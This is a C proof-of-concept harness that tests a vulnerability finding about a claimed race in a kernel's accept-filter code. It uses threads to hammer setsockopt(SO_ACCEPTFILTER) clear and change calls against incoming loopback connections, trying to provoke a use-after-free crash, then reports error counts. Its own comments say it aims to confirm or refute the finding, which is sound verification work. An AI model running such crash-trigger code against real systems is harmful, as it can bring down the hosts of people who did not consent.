DF-2561 / df2561c.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * DF-2561 PoC v3 - test the EXACT race the finding describes. * * The finding claims: "a concurrent setsockopt to clear/change the * accept filter on the listener frees head->so_accf while * soisconnected reads it." * * This variant hammers: * - Repeated setsockopt(SO_ACCEPTFILTER) calls on the listener * trying to CLEAR or CHANGE the filter (which the finding claims * frees so_accf). We try empty-name clear, same-name "re-set", * and different-name change - all while connections arrive. * * If the finding's premise holds (setsockopt can free so_accf), * this should crash. If do_setopt_accept_filter just returns * EINVAL/ENOENT (as the source read suggests), no crash. */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <time.h> #include <fcntl.h> #ifndef SO_ACCEPTFILTER #define SO_ACCEPTFILTER 0x1000 #endif static volatile int g_stop = 0; static int g_listen_fd = -1; static int g_clear_attempts = 0; static int g_clear_ok = 0; static int g_clear_einval = 0; static int g_clear_enoent = 0; static int g_clear_other = 0; static int g_connects = 0; static void msleep_ms(int ms){ struct timespec ts={ms/1000,(ms%1000)*1000000L}; nanosleep(&ts,NULL); } static void set_nonblocking(int fd){ int fl=fcntl(fd,F_GETFL,0); if(fl>=0) (void)fcntl(fd,F_SETFL,fl|O_NONBLOCK); } static int set_accf_name(int fd, const char *name){ struct accept_filter_arg afa; memset(&afa,0,sizeof(afa)); strncpy(afa.af_name,name,sizeof(afa.af_name)-1); return setsockopt(fd,SOL_SOCKET,SO_ACCEPTFILTER,&afa,sizeof(afa)); } /* Try every possible way to clear/change the filter via setsockopt. */ static void *clearer_fn(void *arg){ (void)arg; int idx = 0; while(!g_stop){ int fd = g_listen_fd; if (fd < 0) { msleep_ms(1); continue; } g_clear_attempts++; int rc; const char *name; switch (idx & 3) { case 0: name = ""; break; /* empty -> ENOENT? */ case 1: name = "dataready"; break; /* re-set same */ case 2: name = "httpready"; break; /* change to different */ case 3: name = "\0garbage"; break; /* null-prefixed */ } idx++; rc = set_accf_name(fd, name); if (rc == 0) g_clear_ok++; else if (errno == EINVAL) g_clear_einval++; else if (errno == ENOENT) g_clear_enoent++; else g_clear_other++; } return NULL; } static void *connector_fn(void *arg){ (void)arg; while(!g_stop){ int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0){ msleep_ms(1); continue; } set_nonblocking(fd); struct sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port = 0; socklen_t slen = sizeof(sa); /* read the bound port from the listener via getsockname is not possible * from another fd; instead we connect to a fixed port set up in main. */ sa.sin_port = *(in_port_t*)arg; int rc=connect(fd,(struct sockaddr*)&sa,sizeof(sa)); if(rc==0||(rc<0&&errno==EINPROGRESS)){ char b='x'; (void)write(fd,&b,1); g_connects++; } close(fd); } return NULL; } static void *acceptor_fn(void *arg){ (void)arg; while(!g_stop){ int fd=g_listen_fd; if(fd<0){ msleep_ms(1); continue; } struct sockaddr_in sa; socklen_t slen=sizeof(sa); int cfd=accept(fd,(struct sockaddr*)&sa,&slen); if(cfd>=0){ char buf[64]; (void)read(cfd,buf,sizeof(buf)); close(cfd); } } return NULL; } int main(int argc,char**argv){ int seconds=25; if(argc>1) seconds=atoi(argv[1]); if(seconds<1) seconds=1; int fd=socket(AF_INET,SOCK_STREAM,0); int one=1; setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one)); struct sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=0; socklen_t slen=sizeof(sa); if(bind(fd,(struct sockaddr*)&sa,sizeof(sa))<0){ perror("bind"); return 2; } if(getsockname(fd,(struct sockaddr*)&sa,&slen)<0){ perror("getsockname"); return 2; } if(listen(fd,256)<0){ perror("listen"); return 2; } if(set_accf_name(fd,"dataready")<0){ perror("set_accf"); return 2; } g_listen_fd=fd; in_port_t port = sa.sin_port; printf("[parent] listener fd=%d port=%hu\n", fd, ntohs(port)); fflush(stdout); signal(SIGPIPE,SIG_IGN); pthread_t clr[4], conn[8], acc[2]; for(int i=0;i<4;i++) pthread_create(&clr[i],NULL,clearer_fn,NULL); for(int i=0;i<8;i++) pthread_create(&conn[i],NULL,connector_fn,&port); for(int i=0;i<2;i++) pthread_create(&acc[i],NULL,acceptor_fn,NULL); printf("[parent] hammering setsockopt-clear + connect for %ds ...\n", seconds); fflush(stdout); for(int s=0;s<seconds&&!g_stop;s++){ sleep(1); printf("[parent] t+%d attempts=%d ok=%d einval=%d enoent=%d other=%d connects=%d\n", s+1, g_clear_attempts, g_clear_ok, g_clear_einval, g_clear_enoent, g_clear_other, g_connects); fflush(stdout); } g_stop=1; msleep_ms(300); printf("[parent] DONE: attempts=%d ok=%d einval=%d enoent=%d other=%d connects=%d\n", g_clear_attempts, g_clear_ok, g_clear_einval, g_clear_enoent, g_clear_other, g_connects); printf("[parent] RESULT=NO_CRASH (setsockopt clear path does not free so_accf / no race)\n"); fflush(stdout); return 0; } |